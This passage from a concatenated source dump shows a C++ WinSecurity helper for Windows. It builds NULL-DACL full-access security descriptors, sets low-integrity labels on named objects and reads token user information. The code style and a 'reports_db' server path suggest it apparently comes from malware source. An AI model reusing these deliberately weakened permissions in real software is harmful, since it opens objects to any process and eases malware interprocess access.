LOWINTEGRITYLEVEL_FULLACCESS L"S:(ML;;NRNWNX;;;LW)" 9 | #define LOWINTEGRITYLEVEL_FULLACCESS_INHERIT L"S:(ML;CIOI;NRNWNX;;;LW)" 10 | 11 | void WinSecurity::init(void) 12 | { 13 | 14 | } 15 | 16 | void WinSecurity::uninit(void) 17 | { 18 | 19 | } 20 | 21 | void *WinSecurity::_getFullAccessDescriptors(SECURITY_ATTRIBUTES *sa, SECURITY_DESCRIPTOR *sd) 22 | { 23 | if(CWA(advapi32, InitializeSecurityDescriptor)(sd, SECURITY_DESCRIPTOR_REVISION) && CWA(advapi32, SetSecurityDescriptorDacl)(sd, TRUE, NULL, FALSE)) 24 | { 25 | PSECURITY_DESCRIPTOR sdLow; 26 | if(CWA(advapi32, ConvertStringSecurityDescriptorToSecurityDescriptorW)(LOWINTEGRITYLEVEL_FULLACCESS, SDDL_REVISION_1, &sdLow, NULL) != FALSE) 27 | { 28 | BOOL saclPresent, saclDefaulted; 29 | PACL sacl = NULL; 30 | if(CWA(advapi32, GetSecurityDescriptorSacl)(sdLow, &saclPresent, &sacl, &saclDefaulted) == FALSE || 31 | CWA(advapi32, SetSecurityDescriptorSacl)(sd, saclPresent, sacl, saclDefaulted) == FALSE) 32 | { 33 | CWA(kernel32, LocalFree)(sdLow); 34 | sdLow = (PSECURITY_DESCRIPTOR)-1; 35 | } 36 | } 37 | else sdLow = (PSECURITY_DESCRIPTOR)-1; 38 | 39 | if(sa) 40 | { 41 | sa->nLength = sizeof(SECURITY_ATTRIBUTES); 42 | sa->lpSecurityDescriptor = sd; 43 | sa->bInheritHandle = FALSE; 44 | } 45 | 46 | return sdLow; 47 | } 48 | return NULL; 49 | } 50 | 51 | bool WinSecurity::_setLowIntegrityLevelLabel(LPWSTR name, DWORD objectType, bool inherit) 52 | { 53 | bool r = false; 54 | PSECURITY_DESCRIPTOR sd; 55 | 56 | Process::_enablePrivilege(SE_SECURITY_NAME, true); 57 | if(CWA(advapi32, ConvertStringSecurityDescriptorToSecurityDescriptorW)(inherit ? LOWINTEGRITYLEVEL_FULLACCESS_INHERIT : LOWINTEGRITYLEVEL_FULLACCESS, SDDL_REVISION_1, &sd, NULL) != FALSE) 58 | { 59 | BOOL saclPresent, saclDefaulted; 60 | PACL sacl = NULL; 61 | if(CWA(advapi32, GetSecurityDescriptorSacl)(sd, &saclPresent, &sacl, &saclDefaulted) != FALSE) 62 | { 63 | if(CWA(advapi32, SetNamedSecurityInfoW)(name, (SE_OBJECT_TYPE)objectType, LABEL_SECURITY_INFORMATION, NULL, NULL, NULL, sacl) == ERROR_SUCCESS)r = true; 64 | } 65 | CWA(kernel32, LocalFree)(sd); 66 | } 67 | return r; 68 | } 69 | 70 | TOKEN_USER *WinSecurity::_getUserByToken(HANDLE token) 71 | { 72 | DWORD size; 73 | if(CWA(advapi32, GetTokenInformation)(token, TokenUser, NULL, 0, &size) == FALSE && CWA(kernel32, GetLastError)() == ERROR_INSUFFICIENT_BUFFER) 74 | { 75 | TOKEN_USER *tu; 76 | if((tu = (TOKEN_USER *)Mem::alloc(size)) != NULL) 77 | { 78 | if(CWA(advapi32, GetTokenInformation)(token, TokenUser, tu, size, &size) != FALSE)return tu; 79 | Mem::free(tu); 80 | } 81 | } 82 | return NULL; 83 | } 84 | -------------------------------------------------------------------------------- /temp/server/php/reports_db.lng.en.php: -------------------------------------------------------------------------------- 1 | --------------------------------------------------------------------------------